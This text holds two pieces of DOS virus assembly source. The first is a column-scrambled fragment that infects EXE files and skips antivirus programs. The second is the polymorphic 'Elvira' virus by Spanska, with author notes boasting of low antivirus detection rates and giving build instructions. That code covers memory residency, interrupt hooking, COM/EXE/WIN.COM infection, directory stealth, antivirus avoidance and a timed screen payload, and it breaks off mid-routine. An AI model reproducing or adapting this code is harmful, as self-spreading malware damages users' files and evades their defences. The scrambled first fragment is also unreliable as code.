; AX = code segment

ds,ax

; DS =

; Set inerrupt segment 2ah

ax,2524h 21h

"

"

; Set interrupt vector 24h

"

"

ax,(1a00h+2020h) ; Set disk transfer area address ax,2020h dx,80h ; DX = offset of default disk tran... 21h

jmp examine_name: mov nop mov

virus_exit

push nop nop lea add nop lea add nop next_name:

di

"

"

al,'V' [bx+02h],al

; Correct the file specification ; Save DI at stack

si,table_begin ; SI = offset of table_begin si,bp ; Add delta offset di,filename ; DI = offset of filename di,bp ; Add delta offset

mov nop lodsb nop nop cmp nop je nop

bx,si

; BX = offset within table

mov nop mov nop add nop inc nop nop

ah,00h

; AX = size of filename

cx,ax

; CX =

bx,cx

; BX = offset of next filename

bx

; BX =

push nop nop rep nop pop nop nop je nop

di

; Save DI at stack

cmpsb

; Compare filename with filname in...

di

; Load DI from stack

mov nop

si,bx

; AL = size of filename

al,00h open_file

jmp_fnd_nxt

jmp nop jmp_fnd_nxt: pop nop nop

next_name

jmp open_file: pop nop nop

find_next

di

di

; End of table? ; Equal? Jump to open_file

"

"

"

"

"

"

"

; Equal? Jump to jmp_fnd_nxt

; SI = offset of next filename

; Load DI from stack

; Load DI from stack

lea add nop

si,file_header ; SI = offset of file_header si,bp ; Add delta offset

mov lea add nop int nop mov nop

ax,3d00h ; Open file (read) dx,filename ; DX = offset of filename dx,bp ; Add delta offset

bx,ax

; BX = file handle

mov nop mov

ah,3fh

; Read from file

dx,si

; DX = offset of file_header

21h

nop mov int nop

cx,1ah 21h

; Read twenty-six bytes

mov nop int nop

ah,3eh

; Close file

mov sub cmp nop je nop

ax,('ZM'+2020h) ; EXE signature ax,2020h [si],ax ; Found EXE signature?

xchg nop cmp nop je nop jmp_fnd_nxt_: jmp examine_file: mov cmp je nop

21h

examine_file

ah,al

; Equal? Jump to examine_file

; Exchange EXE signature

[si],ax

; Found EXE signature?

examine_file

; Equal? Jump to examine_file

find_next ax,2020h [si+12h],ax jmp_fnd_nxt_

; Already infected? ; Equal? Jump to jmp_fnd_nxt_

mov add xor nop lea add nop int nop

ax,(4301h-2020h) ; Set file attributes ax,2020h cx,cx ; CX = new file attributes

mov add lea add nop int nop mov nop

ax,(3d02h-2020h) ; Open file (read/write) ax,2020h dx,filename ; DX = offset of filename dx,bp ; Add delta offset

bx,ax

; BX = file handle

mov xor nop xor nop int nop

ax,4202h cx,cx

; Set current file position (EOF) ; Zero CX

dx,dx

; Zero DX

mov add mov lea

ax,(4000h-2020h) ; Write to file ax,2020h cx,(code_end-code_begin) dx,code_begin ; DX = offset of code_begin

dx,filename ; DX = offset of filename dx,bp ; Add delta offset 21h

21h

21h

add nop int nop

dx,bp

; Add delta offset

mov mov nop shl nop push nop nop xchg nop nop

ax,[si+08h] ; AX = header size in paragraphs cl,04h ; Multiply by paragraphs

mov mov push nop nop push nop nop

ax,[di+1ah] ; AX = low-order word of filesize dx,[di+1ch] ; DX = high-order word of filesize ax ; Save AX at stack

dx

; Save DX at stack

sub nop sbb mov div nop mov nop lea add nop mov mov

ax,bx

; Subtract header size from filesize

dx,00h cx,10h cx

; Convert to 32-bit

cx,dx

; CX = low-order word of filesize ...

lea add nop mov nop

bx,delta_offset ; BX = offset of delta_offset bx,bp ; Add delta offset

inc nop nop mov

ax

mov nop mov add nop mov and nop mov

dx,cx

[si+10h],dx

; Store stack pointer

mov mov

ax,2020h [si+12h],ax

; AX = infection mark ; Store infection mark

21h

ax,cl

; AX = header size

bx

; Save BX at stack

ax,bx

; BX = header size

; Divide by paragraphs

bx,entry_point-100h ; BX = offset of entry_point dx,bx ; Add offset of entry_point to low... [si+14h],dx [si+16h],ax

[bx],cx

[si+0eh],ax

; Store instruction pointer ; Store code segment

; Store delta offset

; Increase AX

; Store stack segment ; DX = low-order word of filesize ...

ax,(code_end-code_begin+0c0h) dx,ax ; DX = stack pointer ax,1111111111111110b dx,ax ; DX = "

"

pop nop nop pop nop nop add adc

dx

; Load DX from stack

ax

; Load AX from stack

mov nop push nop nop shr nop ror nop stc nop nop adc nop pop nop nop and mov mov pop nop nop

cl,09h

mov mov mov int nop

ax,4201h ; Set current file position (CFP) cx,-01h dx,-(code_end-delta_offset) 21h

mov add mov lea add nop int nop

ax,(4000h-2020h) ; Write to file ax,2020h cx,02h ; Write two bytes dx,delta_offset ; DX = offset of delta_offset dx,bp ; Add delta offset

mov xor nop xor nop int nop

ax,4200h cx,cx

; Set current file position (SOF) ; Zero CX

dx,dx

; Zero DX

mov add mov mov nop int

ax,(4000h-2020h) ; Write to file ax,2020h cx,1ah ; Write twenty-six bytes dx,si ; DX = offset of file_header

ax,(code_end-code_begin) dx,00h ; Convert to 32-bit

ax

; Save AX at stack

ax,cl

; Multiply by pages

dx,cl

;

"

"

"

; Set carry flag

dx,ax

; DX = total number of 512-bytes p...

ax

; Load AX from stack

ah,00000001b [si+04h],dx ; Store totalt number of 512-bytes... [si+02h],ax ; Number of bytes in last 512-byte... bx ; Load BX from stack

21h

21h

21h

nop mov add mov mov int nop

ax,(5701h-2020h) ; Set file's date and time ax,2020h cx,[di+16h] ; CX = file time dx,[di+18h] ; DX = file date 21h

mov nop int nop

ah,3eh

mov add mov nop mov lea add nop int nop

ax,(4301h-2020h) ; Set file attributes ax,2020h ch,00h ; Zero CH

jmp virus_exit: mov mov call

; Close file

21h

cl,[di+15h] ; CL = file attribute dx,filename ; DX = offset of filename dx,bp ; Add delta offset 21h

find_next ax,1202h ; Get interrupt address dx,24h ; Get interrupt address of interru... int2f_simula

mov nop mov nop

ax,cs

; AX = code segment

es,ax

; ES =

mov cmp nop je nop

ax,(24h*04h) ; AX = offset of interrupt vector 24h bx,ax ; Debugging? virus_exit_

; No debugging? Jump to virus_exit_

mov int nop

ax,3500h 21h

; Get interrupt vector 00h

lea add nop lodsw nop nop mov nop

si,int01_off ; SI = offset of int01_off si,bp ; Add delta offset

dx,ax

; DX =

mov nop mov nop

ax,es

; AX = segment of interrupt 00h

ds,ax

; DS =

mov add int

ax,(2501h-2020h) ax,2020h 21h

"

"

; AX = offset of interrupt 01h

"

"

"

"

"

"

"

"

; Set interrupt vector 01h

nop mov nop mov nop mov nop eternal_loop: jmp nop virus_exit_: mov nop int nop mov nop

ax,cs

; AX = code segment

ds,ax

; DS =

"

"

es,ax

; ES =

"

"

eternal_loop

ah,62h

; Get current PSP address

21h es,bx

; ES = segment of PSP for current ...

mov nop add

cx,bx

; CX =

cx,10h

; CX = segment of beginning of code

lea add nop

si,instruct_ptr ; SI = offset of instruct_ptr si,bp ; Add delta offset

add add

[si+02h],cx cx,[si+04h]

cli nop nop xor nop

"

"

"

"

"

"

; Add segment of beginning of code... ; Add original stack segment to se...

; Clear interrupt-enable flag

ax,ax

; Zero AX

poly_end: mov mov sti

sp,[si+06h] ; SP = stack pointer ss,cx ; SS = stack segment ; Set interrupt-enable flag

push

ax

; Save AX at stack

mov

ds,bx

; DS = segment of PSP for current ...

0eah

; JMP imm32 (opcode 0eah) ; Instruction pointer ; Code segment

db instruct_ptr dw code_seg dw stack_seg stack_ptr

dw dw

? ? ? ?

int24_virus proc near mov al,03h int01_virus proc int2a_virus proc iret endp endp endp

near near

int2f_simula proc push dx

near

; Stack segment ; Stack pointer ; Interrupt 24h of Ply.5175 ; Fail system call in progress ; Interrupt 01h of Ply.5175 ; Interrupt 2ah of Ply.5175 ; Interrupt return!

; Simulate interrupt 21h ; Load DX from stack

pushf db int2f_addr dd pop

9ah

; CALL imm32 (opcode 9ah) ; Address of interrupt 2fh

? dx

; Load DX from stack

ret endp

; Return!

int21_simula proc near ; Simulate interrupt 21h segcs ; Code segment as source segment int 21h nop ret endp

; Return!

db int01_off

00h dw

db entry_point: jmp file_specifi file_header db poly_buffer table_begin db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db table_end: db _ncdtree

?

; Offset of interrupt 01h

00h code_begin db dw

'*.VXE',00h ; File specification 0ah dup(?),00h,0fff0h,? 00h

db db

db

03h dup(?) 04h,'AVP.' 08h,'AVPLITE.' 06h,'AVPVE.' 04h,'BAIT' 06h,'EICAR.' 07h,'EMM386.' 07h,'F-PROT.' 06h,'FV386.' 05h,'FV86.' 05h,'MSAV.' 09h,'MVTOOL10.' 05h,'SCAN.' 07h,'TBSCAN.' 05h,'TBAV.' 08h,'TBCHECK.' 08h,'TBCLEAN.' 07h,'TBDISK.' 09h,'TBDRIVER.' 07h,'TBFILE.' 09h,'TBGENSIG.' 06h,'TBKEY.' 06h,'TBLOG.' 06h,'TBMEM.' 08h,'TBSETUP.' 08h,'TBSCANX.' 07h,'TBUTIL.' 09h,'VALIDATE.' 08h,'VIRSTOP.' 05h,'VIRUS' 05h,'VPIC.' 06h,'VSAFE.' 00h 00h,00h '\NCDTREE',00h

; Polymorphic buffer ; AntiViral Toolkit Pro ; AVPLite ; AVP Virus Encyclopedia ; Bait file ; EICAR-ANTIVIRUS-TEST-FILE ; Microsoft expanded memory manage... ; F-PROT

; Microsoft Anti-Virus ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

McAfee ViruScan Thunderbyte virus detector Thunderbyte menu TbCheck, Resident integrity checker Thunderbyte clean utility TbDisk, Disk guard TbDriver, TBAV TSR utilities TbFile, software guard TbGenSig, signature file compiler TbKey TbLog, TBAV automatic log utility TbMem, Memory guard Thunderbyte software setup TbScanX resident virus scanner TbUtil VALIDATE VIRSTOP Bait file Picture file viewer VSafe

db poly_blocks code_end: dta: db file_attr file_time file_date filesize filename data_end:

'PLY' db

db dw dw dd db

; Name of the virus (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))

15h dup(?) ? ? ? ? 0dh dup(?)

; ; ; ; ;

Used by DOS for find next-process File attribute File time File date Filesize ; Filename

end code_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PLY_5175.ASM]ÄÄ

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ELVIRA virus by Spanska ³ ³ Called Spanska.4250 by AV people ³ ³ This is my fourth virus ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ********************************************************************* This virus is dedicated to a girl with black hairs and green eyes, a so lovely vampyre haunting Paris nights. - Greets to my friend VicodinES, Roadkill and all 29A guys (next time, don't fuck the cyberbar computers with your viruses! The day after, i couldn't send a mail to my girl. And for the next meeting, i will try to get up for the night rendez-vous in the Gran Via McDonald :) - French virus coders, where are you? I feel alone... ******************************contact me at [email protected]***

At the time it was released (September 97), the heuristic detection on 100 infected bait files was: - TBSCAN 7.07 0/100 - TBSCANW 7.06 5/100 - FPROT 2.26 2/100 - AVP 3.0 (1.08) 0/100 - FINDVIRUS 7.69 0/100 - DRWEB 20/100 generation zero size: 4297 bytes virus size: 4250 bytes compile it with TASM /m2 and TLINK /t Properties: TSR/runtime COM/EXE semi-stealth polymorphic Signature: "k" and seconds = 30 No infection of some AV or command.com Disables stealth routine in case of archiver execution Immediately infects win.com (so it can infect all DOS programs under W3.1 or W95). Graphical payload with 3 messages in french, english and spanish (Star-Wars like effect, see extracted routine in elvira-g.com) Slow poly (just 365 possibilities because i'm an idiot) About the poly routine: As you can see, the poly engine is a very simple routine. Each instruction on the decryptor is set to a fixed size block (what i call "mutation" in the source. There are 14 different blocks. For each of these blocks, i have a stock of something like 10 similar ones that perform the same operation, but with different manner (see end of virus; for exemple, i have 12 ways to get the delta offset in 23 bytes). This lame engine has some advantages. 1/ It's very easy and quick to code. 2/ You can add very easily new blocks in the stock, for example to make new undetectable strains. 3/ You can have a great strain variability, just limited by your imagination (think all the possible manners to replace a "mov ax, bx" or a "call XX"). Of course, there are some problems. 1/ Mutation start always at same offset. 2/ You sometimes have to "fill the holes" in blocks (with nops for example). 3/ Mutation stocks are big (in this virus, 2000-2500 bytes).

code

segment

assume ds:code, ss:code, cs:code, es:code org 100h start: db 0E9h, 2Ch, 00 signature db "k"

;jmp start_virus ;signature

;******************FAKE HOST*************************** mov dx, offset message ;* mov ah, 09h ;* int 21h ;* mov ax,4c00h ;* int 21h ;* message db "------Fake host execution-----$" ;* ;****************************************************** start_virus: mutation0: db 0B8h, 38h, 1 db 0B9h, 0Eh, 0 call $+3 ;delta: mov bx, sp mov dx, ss:[bx] sub dx, ax mov bp, dx add ss:[bx], cx ret clc

;mov ax, offset delta ;mov cx, offset mutation1-delta

mutation1: push es push ds push cs push cs pop es pop ds db 14 dup (90h) mutation2: db 0EBh, 0Eh nop nop nop

;jmp decrypte

mutation3: baise_flag_cryptage: stosb nop nop nop nop nop mutation4: ret nop nop nop nop ; ;----------------------decrypting routine-------------------------

; decrypte: mutation5: mov cx, fin_cryptage-debut_cryptage nop nop nop mutation6: lea si, [bp+offset debut_cryptage] nop nop nop nop nop nop mutation7: mov di, si nop nop mutation8: mov dl, cs:[bp+offset clef] nop nop nop nop nop mutation9: xor_loop: lodsb nop nop nop nop nop mutation10: xor al, dl nop nop nop nop nop nop nop nop mutation11: call baise_flag_cryptage db 90h, 90h, 90h, 90h, 90h db 90h, 90h, 90h, 90h mutation12: dec cx nop nop nop nop

mutation13: cmp cx, 0 nop nop nop mutation14: jne xor_loop db 90h, 90h, 90h db 90h, 90h

debut_cryptage:

;end of polymorphic decryptor

;***************** save original es, ds ******************* pop ds pop es push es push ds ;************* test if virus is already resident ****************** mov int cmp jne jmp

ax, 6969h 21h bx, 6969h va_resident deja_installe

;is my handler here? ;if yes, bx = 6969h ;no => go resident ;yes => stop

;********************* go TSR *************************** va_resident: push 4a00h pop ax mov bx,0ffffh int 21h

;is there some free memory? ;return bx = memory - max size

sub bx,((endvirus-start_virus+0fh)/10h)*2+1 ;substract what we need ;now bx=wanted paragraphs push 4a00h pop ax int 21h ;return es = free block segment push 4800h pop ax mov bx,((endvirus-start_virus+0fh)/10h)*2 int 21h dec ax mov es,ax inc ax

;set memory

;return ax = free segment

;es points on the ;new MCB

mov byte ptr es:[0],'Z' mov cx, 8 mov word ptr es:[1],cx

;mark it as the last one ;owner = dos

mov mov lea mov xor mov

;copy virus in memory

cx, ds, si, es, di, cx,

cs cx [bp+offset start_virus] ax di endvirus-start_virus

rep movsb push ax ;********** install my interruption 21 ************************ installe: ;------ 1) get the old interruption vector push 3521h pop ax int 21h pop ds mov ds:[offset ip_21-offset start_virus], bx mov ds:[offset cs_21-offset start_virus], es

;return bx=offset, es=segment ;save offset ;save segment

;------ 2) put my own vector mov dx, [offset nouvelle_int_21-offset start_virus] push 2522h pop ax dec ax ;avoid flag M int 21h ;------ 3) Am i WIN.COM? mov word ptr ax, cs:[104h] cmp ax, 0E1Fh jne i_am_not_win mov word ptr ax, cs:[106h] cmp ax, 0E807h je i_am_win i_am_not_win: call infecte_win

;bytes 4 and 5 of WIN.COM de W95

;bytes 6 and 7 of WIN.COM de W95

;infect win.com

i_am_win: jmp deja_installe ;******************** my interruption 21 ***************************** nouvelle_int_21: cmp byte ptr cs:[stealth_non-start_virus], 0FFh je saute_dir_stealth xor ah, 55h cmp ah, 44h je dir_stealth cmp ah, 47h je dir_stealth xor ah, 55h saute_dir_stealth: xor ax, 5555h cmp ax, 1E55h jne suite xor ax, 5555h jmp infecte suite: xor ax, 5555h cmp ax, 6969h jne vieille_int_21

;archiver: no stealth

;dir? ;dir?

;avoid flag L ;program execution? ;no => continue ;yes => infect program

;residency test? ;no => let's continue with old int

xchg ax, bx iret

;yes => put 6969h in bx ;and return to program

;***************** old interruption 21 ************************* vieille_int_21: db 0EAh ip_21 dw ? cs_21 dw ? iret

;EAh=JMP FAR ;offset old int ;segment old int

;****************** directory stealth ******************************** dir_stealth: xor ah, 55h pushf push cs call vieille_int_21 or al, al jnz exit_fcb

;simulation of an int 21h, so push flags ;and segment ;call old int 21h ;if al=0 all is OK ;if al<>0 stop stealth

push ax push bx push es push 5100h ;get current psp pop ax int 21h ;return segment psp in bx, offset in dx mov es, bx ;now es = segment psp cmp bx, es:[16h] ;come from DOS? jnz exit_fcb2 ;no => stop stealth mov bx, dx ;bx= psp offset mov al, [bx] ;extended fcb? push ax ;save marker of extended fcb push 2F00h ;get current dta pop ax int 21h ;return in es:bx dta position pop ax ;get back fcb marker inc al ;FFh+1=0, so if extended z=0 jnz no_fix ;no extended add bx, 7 ;extended: offset is 7 bytes more no_fix: mov al, es:[bx+17h] ;time in al and al, 00011111b ;just look at seconds xor al, 00001111b ;seconds = 30? jne exit_fcb2 ;no => stop stealth cmp word ptr es:[bx+1fh], 0 ;prog<65000? jne soustraction ;no => stealth it cmp word ptr es:[bx+1dh], 500+endvirus-start_virus ;prog no stealth soustraction: sub word ptr es:[bx+1dh], endvirus-start_virus ;substract virus size sbb word ptr es:[bx+1fh], 0 exit_fcb2: pop es pop bx pop ax exit_fcb: iret ;********************* INFECTION *************************************** infecte: pushf

push push push push push push push push

ax bx cx dx si di es ds

;---- 1) do not infect an anti-virus mov si, dx mov di, offset av_liste-start_virus

;ds:dx = offset program name ;in di, offset AV list

cherche_extension: lodsb cmp al, "." jnz cherche_extension

;find extension

lodsw mov cs:[f_ext-start_virus], ax lodsb mov cs:[f_ext-start_virus+2], al

;put extension in memory

cherche_debut: dec si dec si lodsb cmp al, "\" jne cherche_debut

;find start of program name

mov cs:[f_name-start_virus], ds mov cs:[f_name-start_virus+2], si

;put segment/offset of program name ;in memory

push cs pop es

;scasw uses es:di ;so exchange segments

lodsw mov cx, 13 repne scasw jne av_ok jmp redonne_la_main av_ok:

;get 2 first letters ;12 AV names to compare + COMMAND.COM ;compare ;it's an AV => do not infect

mov byte ptr cs:[stealth_non-start_virus], 0 mov cx, 5 repne scasw jne zip_ok mov byte ptr cs:[stealth_non-start_virus], 0FFh zip_ok:

;switch to zero ;5 archivers ;test names ;it's an archiver

;----- 2) open file and read header mov ds, cs:[f_name-start_virus] mov dx, cs:[f_name-start_virus+2]

;file name in ;ds:dx for attribs

push 4300h pop ax int 21h mov byte ptr cs:[f_attrib-start_virus], al

;get attribs in al

xor cx, cx push 4301h

;attribs in memory

;attribs to zero

pop ax int 21h mov int jnc jmp

ax, 03d02h 21h cont redonne_la_main_attributs

cont: xchg ax, bx mov word ptr cs:[f_handle-start_virus], bx

;open file in read/write

;problem? do not infect

;handle in bx

push cs push cs pop es pop ds

;all segments point ;to virus code

push 5700h pop ax int 21h mov cs:[f_time-start_virus], cx mov cs:[f_date-start_virus], dx

;get time/date

mov mov mov int

;read file ;1Ch first bytes ;in their buffer

ax, 3F00h cx, 1ch dx, offset exehead-start_virus 21h

;in memory

;---- 3) is it an exe or a com? cmp jne cmp jne jmp

ds:[f_ext-start_virus], "XE" compare_suite byte ptr ds:[f_ext-start_virus+2], "E" compare_suite infecte_exe

compare_suite: cmp ds:[f_ext-start_virus], "OC" jne pas_bonne_ext cmp byte ptr ds:[f_ext-start_virus+2], "M" je infecte_com pas_bonne_ext: jmp ferme_et_redonne_la_main_sans_infection ;---- 4) COM infection infecte_com: cmp byte ptr ds:[exehead-start_virus+3], "k" jz pas_bonne_ext

;already infected? ;yes => do not infect

mov si, offset exehead-offset start_virus mov di, offset contenu-offset start_virus movsw movsw

;transfert 4 bytes ;from buffer to new location

mov ax, 4202h push ax pop ax xor cx, cx xor dx, dx int 21h

;pointer at the end of file ;return size in ax

cmp ax, 56000 jb verif_trop_petit jmp ferme_et_redonne_la_main_sans_infection verif_trop_petit: cmp ax, 500 ja ecriture_com jmp ferme_et_redonne_la_main_sans_infection ecriture_com: sub ax, 3 push ax

;no infection if ;.com is > 56000

;or < 500

;size-3 (cause JMP at start) ;save corrected size

CALL POLY_DEPUIS_RESIDENT push 4000h pop ax xor dx, dx mov cx, debut_cryptage-start_virus int 21h

;write decryptor

push 4000h pop ax mov dx, offset heap-start_virus mov cx, endvirus-debut_cryptage int 21h

;write encrypted body

mov di, offset exehead-offset start_virus mov al, 0E9h stosb pop ax stosw mov al, "k" stosb

;adjust buffer ;with a jump

mov ax, 4200h push ax pop ax xor cx, cx xor dx, dx int 21h

;pointer at file start

push 4000h pop ax mov cx, 4 mov dx, offset exehead-start_virus int 21h

;overwrite 4 first bytes ;with JMP+signature

;then corrected size ;then signature

jmp ferme_et_redonne_la_main ;----- 5) EXE infection infecte_exe: cmp byte ptr ds:[exehead-start_virus+18h], 40h je exe_pas_bon cmp byte ptr ds:[exehead-start_virus+12h], "k" je exe_pas_bon mov ax, word ptr ds:[exehead-start_virus] add ah, al cmp ah,0A7h je exe_bon exe_pas_bon: jmp ferme_et_redonne_la_main_sans_infection

;windows file? ;yes => stop ;already infected? ;yes => stop ;good MZ header? ;add M+Z ;avoid flag Z

exe_bon: ;save header values mov di, mov ax, stosw mov ax, stosw mov ax, stosw mov ax, stosw

offset vIP-offset start_virus word ptr cs:[exehead-start_virus+14h] word ptr cs:[exehead-start_virus+16h] word ptr cs:[exehead-start_virus+0Eh] word ptr cs:[exehead-start_virus+10h]

mov ax, 4202h push ax pop ax xor cx, cx xor dx, dx int 21h push ax push dx

;pointer at file end ;return size in dx:ax

;save size

; calculate new CS:IP push ax mov ax, mov cl, shl ax, mov cx, pop ax sub ax, sbb dx, mov cl, shl dx, mov cl, push ax shr ax, add dx, shl ax, pop cx sub cx,

word ptr cs:[exehead-start_virus+08h] 4 cl ax cx 0 0Ch cl 4 cl ax cl ax

mov word mov word inc dx mov word mov word

ptr cs:[exehead-start_virus+14h], cx ptr cs:[exehead-start_virus+16h], dx ptr cs:[exehead-start_virus+0Eh], dx ptr cs:[exehead-start_virus+10h], 0FFFEh

; calculate new size pop dx pop ax push ax add ax, adc dx, mov cl, shl dx, mov cl, shr ax, add ax, inc ax

endvirus-start_virus 0 7 cl 9 cl dx

;new CS:IP values ;avoid flag K ;new SS:SP values

mov pop add and mov

word ptr cs:[exehead-start_virus+04h], ax ax ax, endvirus-start_virus ah, 1 word ptr cs:[exehead-start_virus+02h], ax

mov word ptr cs:[exehead-start_virus+12h], "k"

;write signature

mov ax, 4202h push ax pop ax xor cx, cx xor dx, dx int 21h

;pointer at file end

CALL POLY_DEPUIS_RESIDENT push 4000h pop ax xor dx, dx mov cx, debut_cryptage-start_virus int 21h

;write decryptor

push 4000h pop ax mov dx, offset heap-start_virus mov cx, endvirus-debut_cryptage int 21h

;write encrypted body

mov ax, 4200h push ax pop ax xor cx, cx xor dx, dx int 21h

;pointer at file start

push 4000h pop ax mov cx, 1ch mov dx, offset exehead-start_virus int 21h

;overwrite exe header

jmp ferme_et_redonne_la_main ;----- 6) close and return to program ferme_et_redonne_la_main_sans_infection: mov cx, cs:[f_time-start_virus] mov dx, cs:[f_date-start_virus] jmp time_date

;get time/date from memory

ferme_et_redonne_la_main: mov cx, cs:[f_time-start_virus] mov dx, cs:[f_date-start_virus]

;get time/date from memory

and cl, 11100000b xor cl, 00001111b

;change seconds to 30 ;as an infection marker

time_date: push 5701h pop ax

;change time/date ;avoid flag F

int 21h mov ax, 3e00h int 21h

;close file

redonne_la_main_attributs: mov ds, cs:[f_name-start_virus] mov dx, cs:[f_name-start_virus+2] xor ch, ch mov byte ptr cl, cs:[f_attrib-start_virus] push 4301h pop ax int 21h

;file name in ;ds:dx for attribs

;set back attribs

redonne_la_main: pop ds pop es pop di pop si pop dx pop cx pop bx pop ax popf jmp vieille_int_21

;after infection, continue with normal int

;****** if program is already resident, or after going TSR ********* deja_installe: pop ds pop es

;get original segments

;******************* bomb or not bomb? ********************************** bombe_ou_pas: mov ah, 2Ch int 21h cmp cl, 30d jne com_ou_exe cmp dh, 15d ja com_ou_exe jmp bombe

;internal clock: return ch=hour and cl=minute ;are we at 30'? ;no => terminate ;yes => test seconds ;if seconds > 15 we finish ;if seconds < 15 the bomb explodes! (1/240)

;************* terminate a com or an exe? **************** com_ou_exe: cmp byte ptr cs:0, 0CDh je redonne_main_com ;------ 1) terminate an exe mov add add cli add mov mov sti

ax, es ax, 10h word ptr cs:[bp+vCS], ax ax, word ptr cs:[bp+vSS] ss, ax sp, word ptr cs:[bp+vSP]

;a COM always have an INT 20h at offset 0

call annuler_registres db 0EAh contenu: vIP dw 9090h vCS dw 9090h vSS dw 9090h vSP dw 9090h

;far jump to the original exe code ;buffer to stock original file info ;EXE: stock ip, cs, ss, sp ;COM: stock les 5 premiers octets

;----- 2) terminate a com redonne_main_com: mov cx, word ptr [bp+offset contenu] mov cs:[100h], cx mov cx, word ptr [bp+offset contenu+2] mov cs:[102h], cx mov di, 101h dec di push di

;transfer 4 first bytes ;to file start in memory ;avoid flag O

;put 100h into stack for the RET ;avoid flag B

call annuler_registres ret ;----- all registers to zero annuler_registres: xor ax, ax xor bx, bx xor cx, cx xor dx, dx xor di, di xor si, si xor bp, bp ret ;********************************************************************** ;*************** infect win.com in runtime mode *********************** ;********************************************************************** infecte_win: push ds push es push cs push cs pop ds pop es mov lea mov int jnc jmp

cx, 0007h dx, cs:[bp+offset file_win] ax, 4e00h 21h suite_win fin_win

suite_win: push 4300h pop ax int 21h mov byte ptr cs:[bp+f_attrib], al

;all attribs ;ds:dx= file name (win.com) ;find file

;attribs in memory

xor cx, cx push 4301h pop ax int 21h

;attribs to zero

mov ax, 3D02h lea dx, cs:[bp+offset file_win] int 21h jc remise_en_etat2

;open file ;to file name

xchg ax, bx mov word ptr cs:[bp+f_handle], bx

;handle in bx ;and in memory

push 5700h pop ax int 21h mov word ptr cs:[bp+f_time], cx mov word ptr cs:[bp+f_date], dx

;get time/date

mov cx, 4 mov ax, 3F00h lea dx, cs:[bp+offset exehead] int 21h jc remise_en_etat

;4 bytes to read ;read file ;buffer

;in memory

cmp byte ptr cs:[bp+offset exehead+3], "k" jne continue_inf_win remise_en_etat: mov ah, 3Eh int 21h

;already infected? ;no => continue

;close file

remise_en_etat2: mov cl, byte ptr cs:[bp+offset f_attrib] lea dx, [bp+offset file_win] push 4301h pop ax int 21h jmp fin_win continue_inf_win: lea si, cs:[bp+offset contenu] lea di, cs:[bp+offset win4octets] movsw movsw

;attribs in cl ;change attribs ;avoid flag F

;4 first bytes ;in a temp buffer

lea si, cs:[bp+offset exehead] lea di, cs:[bp+offset contenu] movsw movsw ;---------pointer to end of disk file (return size in dx:ax)--------mov ax, 4202h push ax pop ax xor cx, cx xor dx, dx int 21h sub ax, 3 push ax

;size-3 (cause JMP at start) ;remember size

CALL POLY_DEPUIS_RUNTIME

;poly, but from runtime routine

push 4000h ;write decryptor pop ax lea dx, cs:[bp+offset start_virus] mov cx, debut_cryptage-start_virus int 21h push 4000h ;write encrypted body pop ax lea dx, cs:[bp+offset heap] mov cx, endvirus-debut_cryptage int 21h lea di, [bp+offset exehead] mov al, 0E9h stosb pop ax stosw mov al, "k" stosb

;adjust buffer ;with a jump

mov ax, 4200h push ax pop ax xor cx, cx xor dx, dx int 21h

;pointer at file start

push 4000h pop ax mov cx, 4 lea dx, [bp+offset exehead] int 21h

;overwrite 4 first bytes

mov cx, cs:[bp+f_time] mov dx, cs:[bp+f_date]

;get time/date

and cl, 11100000b xor cl, 00001111b

;seconds to 30 ;as infection marker

push 5701h pop ax int 21h

;change time/date ;avoid flag F

mov ah, 3Eh int 21h

;close file

;and with size-3 ;and then signature

mov cl, byte ptr cs:[bp+offset f_attrib] lea dx, cs:[bp+offset file_win] push 4301h pop ax int 21h

;attribs in cl

lea si, cs:[bp+offset win4octets] lea di, cs:[bp+offset contenu] movsw movsw

;get back 4 win.com ;first bytes

fin_win: pop es pop ds

;change attribs ;avoid flag F

ret ;******************************************************* ;******************** BOMB ***************************** ;******************************************************* bombe: largeur equ 255 profondeur equ 40 ;-----------all segments equal to cs------------push cs push cs pop ds pop es terrain: ;--------------------go to VGA mode 13h------------------------------mov ax, 13h int 10h ;------------------set color 1 to black---------------------------mov dx, 3c8h xor al, al out dx, al inc dx mov cx, 6 tout_noir: out dx, al loop tout_noir ;--------------write black message on screen------------------------; 1/ select one of the 3 messages randomly xor dx, dx lea si, [bp+msg_bombe+23] push si pop di mov ax, 3 mov bx, 23*3 call mute_bloc lea si, [bp+offset msg_bombe] mov cx, 5 affiche_message: cmp cx, 4 ;second line is empty je pas_ligne_3 ; 2/ put cursor to good coordinates xor bh, bh mov ah,02h int 10h ; 3/ write one line push cx mov cx, 23

affiche_ligne: lodsb mov bl, 1 mov ah, 0Eh int 10h loop affiche_ligne pop cx pas_ligne_3: add dh, 1 loop affiche_message ;--------------initialize segments----------------------mov ax, 0A000h mov ds, ax mov ax, cs add ah, 32 mov es, ax push es

;data will be on a stock segment far ;away from actual code ;on stack (cf [@@] + bas)

;-------------creation of the table (x,z) NB: y constant-------------;here ds=video es=stock mov xor xor xor

cx, si, di, dx,

(largeur*profondeur) si di dx

;255*40 coordinates ;start of video screen ;start of stock zone ;end line counter

table: mov bl, cl mov al, 128 sub al, bl stosb

;X: 0
inc dx or dl, dl jnz pas_fin_de_ligne add si, 319-largeur pas_fin_de_ligne: movsb

;now, COLOR ;end of line? ;yes if dl=0 ;so = rel="nofollow"> next video line ;not end of line ;stock COLOR

mov ax, cx xor al, al xchg ah, al shl al, 1 shl al, 1 inc ax stosw

;Z: 0
loop table ;-------------------animation of letters----------------------------;here ds=video, es=stock push ds pop es pop ds anime: ;*********************** mov dx,3dah ;*

;es=video now ;ds to stock segment (cf [@@])

VRT:

